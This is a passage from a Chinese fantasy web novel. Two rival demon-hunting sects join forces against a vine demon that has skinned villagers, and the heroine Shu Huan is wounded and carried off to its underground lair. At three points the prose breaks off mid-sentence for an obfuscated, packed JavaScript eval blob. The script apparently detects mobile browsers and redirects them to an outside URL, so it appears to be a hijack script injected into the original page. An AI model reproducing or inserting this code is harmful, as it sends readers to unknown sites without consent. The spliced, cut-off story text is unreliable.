书环想起了桃妖的话,问道:“这片桃林是谁家的?” “我家的啊。” “你?” “有什么问题吗?” 书环心想问题大了去了,桃妖说她们之所以能成半妖,是因为沾了侍弄者的光,可赵元章明明只是个普通人,非要找点不同,那便是他会些许术法。 莫临江问道:“之前见村长摆了辟邪阵,一时匆忙,还未问过赵村长师从何人。” 一听这话,赵元章立马拍了拍脑袋,面色苍白,哀伤外露。 “我的师父,乃是川中一片有名的开明道人。” 莫临江和谢归川有些意外。 开明道人修为高深,赵元章会的那些小术法,怎么看都不像是他教出的徒弟。 赵元章道:“我出生微寒,那年下山本是为了寻个活计,怎料竟意外结识开明道人,道人极为随性,收徒不观天资,不评家境,就这样,我成了开明道人的第七个徒弟。” “那时我尚且年少,不免有一番大志向,可还没等我学有所成,师门便出了大事。先是已出师的大师姐捉妖途中被妖重伤,紧接着三师兄修炼出了岔子……整个师门像是中了邪般事故频出,师父消失了几天,再度出现时已身受重伤。” 谢归川蹙眉:“据我所知,开明道人修为高深,能伤他之人寥寥无几,前些年也并未听说他与哪只大妖交恶,道人当时可曾说过伤他者为何人?” 赵元章摇头:“师父只说我缘分未到,暂不宜修行,待得桃林遇仙日,机缘自会来。同师门众人别过后,我辗转多地,无论是做工习文还是经商,皆无所成,凡与我亲近之人不是重病就是受挫,次数一多,我自觉不能连累他人,便回了山上。” 听完这人的遭遇,书环顿时生出一种高山流水遇知音的感慨来,原来除她之外,世界上竟还存在着这般倒霉的人! 她一时间顾不得此人是自己挥笔写就,只想与其痛诉一番过往,然后就地结拜。 这个念头刚起,她便被裴殊冷着一张脸拖了回来。 自从在屋里听她胡乱编排一通两人的关系后大反派便一直沉默,这期间说过的话不超过五个字,书环思来想去,觉得裴殊是接受了两人的关系,遂退回他身边小声问道: “拽我干嘛?” 裴殊毫无感情的看着她:“不要捣乱。” 书环攥住那块被她捏得有些发皱的衣角,嘀咕道:“我没有捣乱。” 裴殊冷哼一声,两人的对话正式结束。 书环深知此人的脾性,遇到不喜欢的东西哼,见到不想搭理的人哼,撞上找死的人也要哼,总而言之便是能用一句哼表达的意思绝不多说一句话,两人不熟,相处起来是有些麻烦,不过没关系,以后有的是时间调整,她没在这个话题上多做停留。 谢归川道:“村长这经历,倒霉得有些不正常,可否把八字告知于我?” 赵元章如实道出,谢归川垂眸思量一番,呼吸微不可查的停滞一瞬,莫临江余光瞥见,嘱咐赵元章道: “近日多有妖异,切勿走出阵法之外。” 赵元章听了,一心只想着回去守着村民,丝毫不在意谢归川如何评定他的八字。 待人走远后莫临江才问谢归川:“如何?” “年少成名,直步青云,这是个极好的命格。” 这和赵元章自述的人生截然相反,众人俱是一愣,元清最是不信。 “怎么会有如此大的差别,谢少主莫非是算错了?” 歪七最不喜有人诋毁贬低谢归川。 “怎么可能,少主的望相辨命术乃是楼主亲自教导的,算错什么也不会算错这个。” 在场众人对命数或多或少都有一定了解,也知晓以谢归川的实力是绝不可能出现这种失误的。 书环轻轻拉了下裴殊的袖子,低声问他: “你会算命吗?” 他答得干脆:“不会。” “骗人,我记得你师父什么都会,不可能没有教你。” 裴殊面无表情的望着她:“我师父是谁?” 书环:“……” 术法没忘,却把教他术法的师父忘了,这人真是……奇怪得有些过分。她索性抬头望天,元清不知什么时候挤到了她旁边,见她抬头也跟着抬头。 “书环姐姐,你觉得幕后之人是赵元章吗?” “我觉得不像,他若有那么缜密的心思,何不编一个与自己命运相符的八字出来?” 歪七道:“若他是故意的呢?故意露出不符合幕后之人的破绽,让所有人先是怀疑他,再将他排除怀疑之列。” “如果你的猜测是真的,那此人的心思也太恐怖了。” 正当书环一边感慨一边试图回想剧情细节时,一旁的裴殊开了口。 “在下倒觉得,与其在这寻找幕后之人可能遗留的漏洞,不如先去将那只藤妖捉住,届时顺藤摸瓜,何愁找不到人。” 莫临江道:“裴公子所言极是,只是藤妖狡猾,又有我无端门的《六合文》在手,背后之人修为莫测,找起来恐怕要费一番功夫,裴公子有何高见?” “让她去。” 裴殊侧首,他所看之人正因众人突如其来的注释而感到不可思议,语调拉得老长。 “我?” 既要上山寻妖,整理携带的法器便成了必不可少的一个环节。 以往出行,总要将各色符箓一张不落的装下,如今有了准确的目标,便只需挑选那些克制藤妖的符箓。 两派的捉妖师挤在一个院子里,彼此之间相隔不过一人的距离,虽说大事当前,但几百年的恩怨情仇不是一朝能抹去的,元清一不留神,手里的符箓便被歪七抢走。 “这就是你们无端门的符箓?看着也不怎么样嘛!” “还给我!” “看看而已,别急嘛!” “你们明月楼的作风还真是……” 歪七把一叠符甩得踏踏作响。 “小子,上次没掀飞你的裤子,我很是遗憾。” 元清神色警惕:“你想干嘛?” “不要紧张,我们交流一下。” “师兄师姐——” 书环站在远处看着一群人哄闹起来,不由得心生羡慕,抛开穿衣风格而言,明月楼众人的心态真是顶顶的好,无论身处何种境地都有捉弄人的心思。 她叹了口气,手里用来临时抱佛脚的符书变得繁复枯燥,身侧之人一语不发的立在原地,既不加入乱斗,也不关心藤妖的踪迹,平静得好像先前那句话不是他说的。 书环又一次低头看书,然而书上的符文好似蠕动的细绳,绕得人心烦意乱。她没忍住拉了拉裴殊的衣袖。 “你就没有什么想对我说的吗?” “说什么?” 书环觉得这人在装傻:“说一些法诀啊,不是你让我去的吗?你不会是想让我去送死吧!” 裴殊挑起那缕放置在胸前,因她动作太大而有些凌乱的头发,从头到尾捋了一遍,发丝重新垂落回身前,随之而来的还有他的一句话。 “你为什么会这么想,我们不是爱过吗,难道你在骗我。” 不对劲。 十分不对劲。 但若真让她细说哪里不对她又说不上来,这感觉就像浑身上下仿佛被什么东西舔舐了一遍,一直到众人上山时她才反应过来,裴殊在怀疑她。 唉,看来还要费些功夫让裴殊相信她才行。 第一缕阳光洒落时,众人开始顺着藤妖昨夜遗留的痕迹向上爬去。 还是前些日子上山的那条路,黑色的汁液滴落在地,被藤条拖成长长的条状,路边茂盛的草也因重物在上拖拽不得不倒伏在地。 越往上走,藤妖留下的痕迹便越少,书环从元清口中得知这是靠近藤妖巢穴的迹象,凡人有家,能阻隔危险;神仙有道场,能增强修为;妖则有巢穴,隐蔽踪迹的同时能加快伤势恢复。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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根据本文的设定,这株藤蔓少说也修行了上百年,竟在数日间化作烂泥,众人检查一番,确定了这株藤是被藤妖截断了成妖之路便开始往其他方向搜寻。 元清好奇道:“裴公子,你之前说的让书环姑娘去是什么意思?” 书环也问他:“什么意思?” “你向东边走。” 书环一头雾水的看着他,确定此人没有在糊弄自己后便在众人的注视下缓缓迈出一步。 清晨的山林从上而下覆盖着一层薄薄的露水,些许未散的雾气将前路罩得朦胧,书环有些后背发凉,碰巧看见脚边有块石头,想着靠它缓缓情绪,于是飞起就是一脚,石头飞射而出,径直撞向远处的一棵树,随即便凭空消失。 “诶?” 歪七反应最大:“随便踢颗石头都能碰到阵法,太离谱了吧!” 书环生怕别人觉得她与普通人不同,道:“碰巧而已。” “我也觉得。” 她从一旁捡起一块小石头,随意一扔,石头仿佛投入湖面,惊起一小片波光后再度消失。 歪七:“……” 书环:“……” 扭八:“书环姑娘的运气还真不一般。” “或许是因为此处的阵法太多,随便一颗石头扔出去都能砸中一个?” 谢归川解释道:“姑娘有所不知,阵法一旦成阵,寻常人扔颗普通石头是没办法让阵法显现的。” 言中之意,要么她不是普通人,要么她扔的石头不是普通石头。 书环一时间不知该作何反应。 莫临江摆出三块石头,对元清和宗远道:“扔过去。” 两人拾起,抡圆了膀子朝她所指方向的空中扔去,石头划出一道长长的弧线,径直落到地上。如谢归川所说那般,阵法并没有因为两块普通的石头显现。 书环见地上还剩了块石头,十分自觉的捡起,扔出。整个过程裴殊的目光都紧紧跟随她,不是关心,倒像是在思考什么。 石头划出一道稍短的弧线,砸出一圈圈波纹后消失在了空中。 又是同样的结局,书环已经见怪不怪了,但不知为何,她的心突然在此刻狂跳了一下,身旁伸来一只手,将她猛的往旁边一拽,她被迫撞进一个宽阔的胸膛,与此同时,三块石头带着摧枯拉朽的力道从空中袭来,与书环擦肩而过,深深的嵌进地里。 15. 你的肩膀借我靠靠 临门一脚踏进阎王殿的书环眨了两下眼睛,腿有些迟来的发软。 “你还要靠多久?” 身后之人似乎有些不耐烦,书环回首,只见裴殊冷着一张脸,他本就不喜以笑示人,如今彻底冷下来,更显无情。 “我这是吓到了,不是故意靠着不放的。” 她悄悄瞥了一眼裴殊的表情,小声嘀咕道:“再说了,我们的关系,靠一下怎么了?” 说着,像是要看裴殊恼羞成怒似的,故意频繁的往他肩膀上靠了几下,奈何对方不为所动。 随着三枚石头落地,隐藏于此的阵法好似被触发了什么机关,附近的山石草木上都浮现出一层银白符文。 元清提醒道:“阵法在变!” 在场众人不约而同的将目光投向莫临江,她站在前方,白衣猎猎,不慌不忙的结出三个法印,分别打向三个不同的方向,阵法受外来法印的干扰,一时间杀机四溢。 书环跟在裴殊身后躲过几轮攻击,听歪七吼道:“少主,莫少宗主不会是想趁机暗杀掉我们吧?” 扭八骂道:“蠢货,这叫明杀!” 两人如同打鸣的鸡般叫了起来,谢归川面上闪过一丝无奈,趁着阵□□转的间隙朝两人各自打去一道符,符文刚接触人便化作一股金线,如同缝衣般将两人的嘴“缝”了起来。此符乃是他从一丈阵中悟出的,如今初试,效果出乎意料的好。 耳根清净的谢归川一挥凤凰泣,面上不显喜色,动作却格外轻快。 这边的小插曲并未影响到莫临江,观察到阵法的轮转顺序后,她从袖中取出一个白瓷瓶,引出其中的透明液体,结印将液体分为十股,随即双手向外一推,液体分散四处隐入地下。 片刻后,数道阵柱升起,其上的符文从边缘处开始溃散,如同纸张燃烧过后的灰烬,一簇一簇的往下掉。 谢归川走至她身旁。 “这是三个阵法?” “三个幻阵重叠在一起形成的杀阵,若有人企图破阵会被阵法绞杀。” 有人感叹道:“竟然是三个幻阵。” 书环清楚他在震惊什么。 在原著正文落笔前她曾写过一堆繁复的设定,阵法便是其中之一。 纵览所有门派世家,阵法可分为三类:杀阵、困阵、幻阵。 杀阵主绞杀,多用于剿灭难缠的妖邪。 困阵主镇压,多用于囚困绞杀不了的妖邪,其中也有一小部分可用于保护特定人群,诸如辟邪阵,通过辟邪法器搭建起阵法,只要里面的人不迈出阵法范围,外面的妖邪便进不去。 最后一种便是幻阵,幻阵种类繁多,良善的用幻阵搭建常人难见之景供人游玩取乐,凶恶的以人执念搭景将人引入阵法,或困或杀。幻阵三阵并发的特点使其成为最难学习的种类。 但无论如何变化,一个阵法的功能在其成型时便固定了,通过布多个幻阵形成杀阵的手法简直闻所未闻。 众人多少觉得有遗憾,莫临江动作太快,整个阵法都被毁去,不然还能从中窥得一二。 最后一簇灰烬落下,失去了阵法支撑的幻境轰然破碎,露出一座被藤蔓爬满的石山。 一见众人,藤蔓便如细蛇般在石头上游走起来。 书环起了一身的鸡皮疙瘩,抱臂道:“好恶心的妖!” 所有藤蔓不约而同的调转藤蔓尖对准书环,如同一双双无形的眼睛盯住了猎物。 这种感觉不要太“美妙”,书环只觉鸡皮疙瘩下多了许多虫子在翻涌,正欲找个地方避开藤妖的注视,有人却比她更快出手。 裴殊的那道火符去得又快又急,只瞬间便燃起一片烈火,藤妖自然顾不得有人说它坏话,所有的藤条都奋力抽着那团火。 莫临江纵身而上,接连放了几团火,众人如梦初醒般扑了上去,结阵的结阵,画符的画符。 裴殊看着那只还未收回手,眼里有一瞬的不解。 书环也愣住了,虽然她嘴上总说两人曾经爱过,但她清楚,这一切不过是骗裴殊的谎言罢了。 或许方才的举动是他的本能在作祟?毕竟大反派向来喜怒不定,心情好时什么都可以揭过,心情不好路过的蚂蚁都得被踩两脚,方才之举,一定是因为藤妖没长在他的审美点上。 一定是这样! 找到解释的书环顿觉松了口气,在裴殊把手收回前一把握了上去。 “别愣着,我们去帮忙。” 她拖着人一路快步到了石山前,抬头望去,藤妖张牙舞爪的挥舞着藤条,中心被一团黑黢黢的藤条交错包裹着,看不见人形的主藤。 裴殊和莫临江打出的火符烧掉了它的部分枝条,在裴殊过来前它一直针对的是莫临江,裴殊一来它便立刻调转方向,不仅仅是因为这里有个最先出手烧它的人,更重要的是,这里有股吸引它的气息。 藤妖无法思考那人从何而来,又是为何会吸引自己,它只是出于本能的用藤条绞杀,想以其血肉为食,不料却被挡了回来。 书环手里握着曵骨,笔锋处还残留一点灵气。她惊喜的抬头看了看天,这一次是真的没有雷劈。 于是她一不做二不休,挥手把自己学过的有杀伤力的符箓全都画了一遍,虽然修为低下,但有曵骨加持和裴殊坐阵,倒也能保自己不受伤。 有两人吸引藤妖的注意力,其余人趁机迅速画好了阵法,瞬息之间,一道无形的墙隔开了人与妖,藤妖见四面皆无出路,枝条一攀,想从上方跃出。 书环不懂阵法,不明白为何上方不封顶,见藤妖的动作便心头一紧,然而不等它跃出,一张捕妖网便从天而降,将它盖得严严实实,她恍然大悟,原来漏顶是为了方便下放捕妖网。 藤妖被捕后挣扎了几下,因捕妖网的材质特殊,它每次挣扎都会被灼伤,几番下来便歇了心思,只阴恻恻的看着众人。 整个过程顺利得有些出奇。 歪七凑近看了看。 “就是这个丑东西害了那么多人?” 藤妖粗着嗓子喝喝两声。 “哟,这是在骂我?” 扭八提醒道:“别靠那么近。” 歪七不以为意:“怕什么,都被困在捕妖网里了。” 他将桃木剑伸进捕妖网里割了一段藤蔓出来,这是他的习惯,每捉一只妖总要留点东西做纪念。 元清手里拿着本册子记录妖物特征,写的过程中时不时的抬头看一眼藤妖。 所有人都围着藤妖,它蜷缩在网内,被灼伤的藤条也没有长出新的,仿佛失去了一切妖力。 莫临江用剑挑起藤妖的脸仔细端详了一下,如老树皮般粗糙皲裂的脸,五官只有基础的轮廓起伏。 “修为不超过两百年。” 书环没忍住也跟着凑上前。 “不到两百年,那它有灵智才多长时间?竟能无师自通学会阵法,藤妖都这么聪明的吗?” 她蹲在捕妖网前,目光不自觉的对上那双灰扑扑的混浊眼珠,不知是不是她的错觉,那双眼珠子似乎很轻快的转动了一下。 莫临江起身去同谢归川商量:“此妖牵扯到无端门不外出的阵法,我需得将其带回门内……” 后面的内容书环便不得而知了,两人用上了秘音传话,她转头问裴殊:“你有没有觉得,这妖捉的有些太容易了。” “嗯。” “看来不止我一人这么想。” 歪七扭八拿着一截割下来的藤蔓招呼她:“书环姑娘,要带一根回去纪念吗?” 书环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419224|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对这个东西不感兴趣,她想问问裴殊,却想起这人从不表露爱好,问了也是白问。 她上前,歪七又割了七八根,边割边念:“这是秦师兄的,这是路师姐的,这是侯师弟的……” 念完最后一个名字后,他抱着一捆藤条让出位置,把剑给了书环:“书姑娘别怕,它被捕妖网罩着呢,跑不出来。” 书环上前两步,把剑从网洞中伸了进去,选中一根较为粗壮的藤条,她方才看过歪七操作,只需用剑轻轻一割,藤条就会和主体断开,就在她手腕使力的瞬间,藤妖带着整张捕妖网朝她扑过来。 事情来得太突然,在场几乎没人能预料到,就连离她最近的裴殊都来不及搭救,书环被扑出老远,剧痛袭来,脑海中一片空白。 两人合力抱着一捆藤条的歪七扭八:“卧槽!” 书环被人扶起,那张捕妖网完好无损的罩在她身上,而身侧,一个不规则的洞不知蔓延向何方。 众人警惕的看向四周。 “怎么回事?捕妖网是好的,它怎么能跑了?是不是阵法出了问题” “你别乱说,阵法是少宗主和我们一起完成的,绝无错乱的可能!” “不是吧,我们割了一捆都没事,书姑娘一根没割就出了事,这什么运气?” 迷茫在人群中蔓延开来。 书环有个不太好的猜测,她垂眸,趁着众人寻找藤妖的功夫,抬脚推了一些泥土去掩盖地上的血迹。 最后一点腥红被掩埋,她正要松一口气,肩膀却突然被人捏住,她强装镇定回眸,裴殊手搭在她肩上,从身侧绕到她面前。 “裴殊,你怎么了?” “手。” 她不想让他发现自己的秘密:“什么?” 按照自己对裴殊这个人物的了解,一旦有什么需要他用上耐心的事,他都不会继续下去,意外的是,他趁书环装傻充愣的瞬间抬手,一扯一拧,将那根骨头错位的手臂接好了。 “痛痛痛!!!” 他问旁边的捉妖师要了一瓶药,掀起衣袖一看,手肘处一大片皮肤都被擦掉,没了布料的阻碍,血顺着手腕就要往下滴。 她痛中焦急:“哎!” 裴殊看了一眼,将她手腕抵在自己掌心,另一只手则给伤口上药。 书环鲜少被人这样照顾,以至于忘了最重要的事,还是看见他用符纸擦手才想起他掌心淌了一片自己的血。 “裴殊,那些血……你都用符纸擦掉了?” 裴殊蹙眉:“不然?” 书环干笑两声:“我是怕你没擦干净,想找人借点水。” “不用了。” 他把沾了血的符纸扔在地上,一把火烧了个干净。 书环看着渐渐势弱的火苗,一颗心终于放了下来。 藤妖消失后,一群人将附近翻了个遍,一点踪迹都没发现,正要往外寻,一道浓雾扑面而来,众人不得已,只能往后退。 一直退回到原地,雾气才堪堪停住前进的步伐,众人不敢轻视,纷纷抛弃过往恩怨,肩并肩结成一个圆。 书环站在中间,前后是严阵以待的莫临江和谢归川,裴殊自然而然站到了她身侧。 雾气似海浪翻涌,隐约可见几个人形的东西在其中穿梭。 莫临江和谢归川进到雾气中一探究竟。 书环渐渐缓过了那股痛劲,问裴殊:“你想去看看是什么东西吗?” “不想。” “哦。” 她松开受伤的左臂,取下曵骨,在空中缓缓画了一道符文,这是最简单的爆破符,她的用意是用它去炸藤妖的枝条,岂料画成的那一刻,上空突然闪过一道雷,书环用上了此生最快的速度扑向裴殊,将他带离雷的伤害范围。 16. 万妖迷 “轰隆——” 熟悉的麻感贯穿全身过后,地面留下了一个巨坑。书环不禁感慨自己的敏捷,竟能在这么短的时间内躲开,还顺带着拉开了裴殊,真是太棒了!想到这,她回首问道: “你没事吧?” 裴殊一点也不为晴天霹雷感到惊奇:“没事。” 众人一边应付藤妖一边破口大骂:“怎么会无故打雷?莫不是这玩意要渡雷劫了吧!” 雷劫往往伴随着狂风暴雨一起出现,方圆几里内都会笼罩在其中,他们也是修行中人,如果留在这里会很麻烦。 “不是雷劫。” 谢归川从混战中脱身,两个明月楼的捉妖师暂时联手填补了空隙,他缓了口气,这藤妖逃出去后不知道干了什么,修为大涨,虽说不至于这么多人打不过他一个,但因其原形是藤蔓,所以格外难缠。 他扬声道:“莫少宗主,替我拦住它!” 说罢以手指作刃,划破右手食指和中指,二指一并,在空中缓缓画起了一道符。 藤妖仿佛被什么东西吸引,更加疯狂的攻击谢归川,莫临江一人一剑拦在当前,纵使万藤齐发,也没有一根能越过她去。 书环在中间急得直跳脚,想帮忙又怕被雷劈,身旁的裴殊望着谢归川正在画的符出了神。 符成的那一刻,空气似乎停滞了一瞬,谢归川手指藤妖,喝道:“去!” 符文分化成两道,紧接着是四道,八道,十六道…… 无数金色符文盘旋,将被浓雾笼罩的密林照得透亮,藤妖迟疑一瞬,错过了最佳的逃跑时机,万符齐发,阵势不比它的万藤绞杀更差。 一道道凄厉诡异的叫声响起,林中飞鸟被惊起一片又一片,待到飞鸟散尽后,攀爬在周围的藤条也都消失无踪了。 元清揉了揉因重复“砍”这个动作而发酸的手臂,小声的问莫临江:“师姐,这是什么符文啊?” 莫临江侧身看向谢归川。 他浅笑道:“这是天合符,无端门不外传的符术之一,威力巨大,但损耗的灵力也不少。” 元清了然道:“难怪很少见到。” 裴殊问道:“这符有多少年历史了?” “明月楼的先祖所创,距今因有上千年了吧,因极耗灵力,甚少有人用过。” 他听完后垂眸,似乎在思考什么。 那道符文杀伤力巨大,四周尽是被炸毁的藤条,书环问道:“藤妖死了吗?” 谢归川摇头:“没有,不过也元气大伤了。” 他话刚说完,远处未散的雾里缓缓走出一人。 不,那不是人。 那是一株人形的藤。 它站在雾气与清明的分界线,身侧两臂远的地方又分别走出一个人,还是人形的藤。就这般一共走出七个人形主藤,七人站成笔直的一排,背后就是浓密的雾。 书环呼吸一滞,下意识的握住了裴殊的手。 “是……是……七个藤妖诶!” 裴殊道:“手。” 书环朝藤妖的手看过去,发现七个主藤之间有一根细细的藤连着彼此的手,她惊喜的看向裴殊:“是一个,你真厉害,这种细节都能发现!” 裴殊:“……” 他默默的将自己的手从她的手里攥了出来。 藤妖混浊的眼珠子盯着那两只松开的手,然后毫无预兆的动了。 莫临江纵身迎上,一剑斩断连接两个主藤之间的藤条,断口处蓦然生出万千细藤,直冲她面门而来,她挥剑斩下,察觉这一次的藤条比上一次的坚韧了许多。 这才是藤妖的真正实力。 谢归川紧随其后,一扇掀翻了一个主藤。 两人并肩而立,藤妖嘴里发出嘶哑的低吼声,混浊的眼珠仍旧盯着书环,手指断口处的细藤被它快速收回,然后长出一根拇指粗的藤,两根藤碰头后便立刻生长在一起,只留下一个鼓起的结,被切断联系的两个主藤再次相连。 莫临江知道自己猜对了。 过去的千百年中,捉妖界也曾遇到过分化出几个本体的妖物,有的是为了提升实力,有的是为了迷惑敌人,从藤妖现身的那一刻起她便在想其属于哪一种,如今看来,是前者。 她不做迟疑,提剑再度斩断连接它们的细藤,藤妖一边垂涎书环的血肉不肯离去,一边因两人的中伤而愤怒。 藤蔓被砍断的次数太多,恢复的速度肉眼可见的慢了下来,又一次被斩断后,藤妖觉得不能再这样下去了。它身子往地面一伏,化作一根长长的藤,一头扎进了泥土里,不知所踪。 “小心地面!” 无端门的捉妖师在两人同藤妖周旋时便布好了阵,此阵名曰龟山阵,乃囚禁大妖所用的困阵,阵法既成,便不容有人打扰。 谢归川吩咐明月楼众人道:“护阵。” 众人手执法器站到了无端门弟子身边,从前相看两厌的一群人如今竟要并肩作战,实在是……骇人听闻! 书环自受伤后便有些精神不振,如今藤妖消失,这种不知对方踪迹,被其暗中窥探的感觉让她十分煎熬。 众人全神贯注的盯着四周,地面被谢归川画满了符,防止藤妖突然钻出袭击人。 一个时辰过去了,太阳已高高的挂在头顶,藤妖却还没有现身的迹象。 “它不会怕了,不敢出来了吧!” “不像是不敢出来,倒像是在熬我们。” 如这人所说,又过了一个时辰,藤妖依旧没有要现身的迹象,偏偏每当有人要放松警惕时,远处的树丛中便会传来动静,几番查探都没有任何发现。 书环从昨晚折腾到现在,只在一个多时辰前吃过一颗莫临江给的丹药,此刻早已饿得眼花缭乱,她提议道:“要不我放点血把它吸引出来?” 莫临江攥紧青山白。 “不用,它来了。” 随着话音落下,一根藤蔓径直刺向维持阵法的捉妖师,被旁边站着的明月楼捉妖师一剑挡了回去,那根藤蔓不停的引着明月楼捉妖师往前走,回首一看,竟有两根藤蔓在不知不觉间窜了过来,妄图攻击坐阵的捉妖师。 谢归川摸清了藤妖藏身的地点,一团凰火掷去,藤妖纵身一跃上了另一棵树,留在先前藏身那棵树上的藤蔓用力一紧,整棵树被拦腰勒断,径直砸向阵法,他被迫停下追逐藤妖的步伐,转而挡住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫临江紧随其后,双手结印,不急不切的念出一段法诀,层层叠叠的藤条之下突然迸发出一道剧烈的光线,裹挟着热浪,一触及藤条便令其迅速干枯起来,先前用做镇压的困阵此刻正泛着红光,阵眼处放置有一只装满火星的石碗。 谢归川是明月楼内为数不多的阵法高手,见此不免感慨,莫临江虽没有用三个幻阵组成杀阵的本事,却能在困阵之内藏匿一个杀阵。 藤妖遭此重创,很快便落了下风,被从枯藤堆里爬出的弟子悉数押进了阵法。 谢归川看了一眼几乎有人高的枯藤,感慨道:“总算结束了!” 身侧之人一言不发,他也不觉得意外,莫临江的“冷名”远扬,他在见到她之前已听过无数遍,侧首一望,其目光更甚冰冷,谢归川一愣,顺着她的目光看去,只见一片狼藉中唯有一处露出了干净的地面,没有枯藤,没有火星烟雾,同样的,也没有书环。 “裴公子,书环姑娘呢!” 莫临江替他答道:“藤妖。” 藤妖捉尽,用以绞杀的阵法和龟山阵轮换,只见层层符文围困的阵法之中,六个藤妖分身对着众人嘲弄一笑。 莫临江摩挲着青山白,心道原来自己也有看走眼的一天,藤妖的分身不仅可以提高修为,也可迷惑敌人,必要之时甚至可以抛弃。 17. 公主抱 书环看见黑压压一片藤条坠下时的第一反应,是去拉裴殊的手。 没办法,谁让裴殊离她最近,又是全书修为最高的几人之一,和他待在一起,比自己画随时会被雷劈的符安全多了。 结果就是——她没能如愿。 那根藤条径直刺向裴殊心窝的时候,她毫不犹豫的握着曵骨迎了上去,神色坚定,心里想的是绝不能让他死了,否则就无法解开不世咒了。 谁知藤妖对杀死裴殊毫无兴趣,它的目的便是引诱书环离开裴殊,这个白发男人身上有一种奇特的威压,它出于本能的害怕。 书环符都还没来得及画,便被一根一根藤蔓裹得严严实实,一路拖拽着不知走了多远,最后到了一个安静得有些过分的地方。 皮肤被一团湿意笼罩,身下的泥土质感有些奇怪,书环甩了甩脑袋,眼前一片漆黑,头部因为一路的磕碰而剧烈抽痛,她闭了闭眼,再度睁开,还是一片黑,她被藤妖带走时外面的天还没暗下来,所以只有两种可能:要么此处是藤妖的巢穴,要么是她因为磕碰到头导致失明,结合周围的泥腥味来看,应该是前者。 书环心里松了口气,缓过一阵剧烈的痛劲后,靠着洞穴的壁慢慢挪坐起来,仅是这一个动作便让她疼出了一身汗,安静的洞穴内全是她的忍痛声。 曵骨还被攥在手里,这让她略微放下心,至少还有一丝自保的能力,侧耳倾听片刻,自己的心跳由剧烈转为平和后,洞中依然没有别的动静出现。 藤妖没在周围,确定这一点后,书环握紧曵骨,飞快的写下一道符文。 许是外来者的原因,她画符总是被雷劈,曾经她非常痛恨这一件事,如今却有些迫切的期许,只要雷劈下来,莫临江她们便能找到洞穴。 一连画了好几道没有攻击性的符文,头顶仍是一片寂静,书环苦笑:不是吧!不想被雷劈的时候一个劲的劈,想被劈了又死活不来。 人真的能倒霉到这种地步吗? 书环扶着墙壁站起身来,既然天不救她,那她就自救。 再度提笔,这次画的却是一张照明的符文,多亏她当初出于对自己运气的不信任,害怕有一日流落到绝境,于是学了一大堆等级不高,但十分接地气的符文,这不,今日便派上了用场。 照明符轰然一亮,又迅速的灰暗下去,短短一瞬足够书环将这鬼地方看个透彻。 墙壁表面凹凸不平,连带着目之所及的洞穴也都是不规则状,像是被虫子啃食出的通道,书环不由得想起了藤妖藏身的那座石山,这处洞穴无论是颜色还是质地都与其相似,难道她此刻就在那座石山下方? 如果猜测正确的话,书环几乎都要为其大胆而鼓掌了,把人藏在一群捉妖师的眼皮子底下,此等胆量,让人佩服。 为今之计,只有尽可能的接近地面,发出大的动静提醒众人。书环回想了下记忆中的洞穴结构,选了个自认为安全的方向摸索而去,她不敢太频繁的画符,藤妖不会离开太久,若是灵力波动太大会将它引来。 走至拐弯处,她谨慎的燃起照明符,在符光熄灭前便选择好了方向摸索而去,如此重复四五遍后,她终于摸到了一条走势向上的通道。 步子迈到一半,一股腐臭扑面而来。 她环顾四周,在一块墙壁的凹陷处找到了臭味来源,一种难以言喻的、类似皮质的东西堆在其中,书环听见自己的心跳一下比一下快,她深吸一口气,又提笔画了一张符,光亮乍起的瞬间,她看清了那堆东西里面夹杂的黑色丝线,是头发。 死者被剥掉的皮都在这里,书环先是惊骇,然后环顾了一下自身,好像没有什么能将它们兜走的东西,她决定先出去,由专业的捉妖师进来替死者收敛残骸,就在转身的瞬间,她的视线里突然多了一个躲在通道后的人。 那人一半身子在明,一半被转弯处的墙壁遮挡,树皮一般的皮肤看起来干枯了许多,那张似人非人的脸盯着书环半晌,毫无预兆的笑了。 自莫临江道出藤妖二字后,众人一数阵中藤妖的数量,这才发觉少了一个,前脚还在高兴的众人迅速冷静下来。 明月楼捉妖师秉着趁他病要他命的人生理念踩了对家一脚。 “书环姑娘当初赠你们蛇首的时候说什么来着?一定会保护她的安全,结果这才捉第一只妖就出事了,你们无端门啊……” 最后一句话尾音拖得老长,将阴阳怪气二字展现得淋漓尽致。 “你嘚瑟什么?今天捉妖明月楼的人没在场吗?藤妖不是在你们眼皮子底下把人带走的吗?说起来我们无端门的人都在阵法里反而是你们负责对付藤妖……” “你们无端门甩锅还真是有一手。” “你们明月楼乱咬人的功夫一骑绝尘。” “你们无端门……” 一声巨响打断了两群人的话。 众人不约而同的看向声音来源,一道黑影闪回裴殊袖中,那座藤妖盘踞的石山已被毁去,只余满地碎石。 歪七道:“裴公子,你这是在做什么?就算书环姑娘被掳走了你也不能拿一座山出气吧!” 元清从他身边路过:“蠢货,你看石山下面是什么?” 一条狭窄幽深的通道径直扎向地下深处,众人把地面的碎石清开,趴在口子上往下望了一眼,深不见底。 再用测妖气的符箓一探,符箓刚接触到洞口的空气便无火自燃。 “妖气浓郁。” 